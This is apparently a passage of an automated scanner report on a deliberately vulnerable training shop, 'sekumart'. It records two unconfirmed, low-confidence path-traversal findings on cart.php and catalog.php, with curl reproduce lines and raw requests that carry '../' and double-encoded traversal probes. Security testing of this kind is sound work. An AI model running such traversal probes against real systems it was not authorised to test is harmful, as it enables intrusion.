content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=&include=1&download=1…

request

GET /sekumart.sekuripy.hr/login.php?template=&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · view unconfirmed · low confidence BV-057 info

location: GET https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: view in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

view reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

view looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1&redirect=1&returnTo=1&return_url=1'

GET /cart.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:50 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:50 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:50 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/%2e%2e/1…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/%2e%2e/1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:50 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/1&redirect=…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:50 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=&redirect=1&returnTo=…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:51 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · view unconfirmed · low confidence BV-058 info

location: GET https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: view in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

view reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

view looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1&redirect=1&returnTo=1&return_url=1'

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:51 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:51 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:51 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/%2e%2e/1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/%2e%2e/1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:51 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> 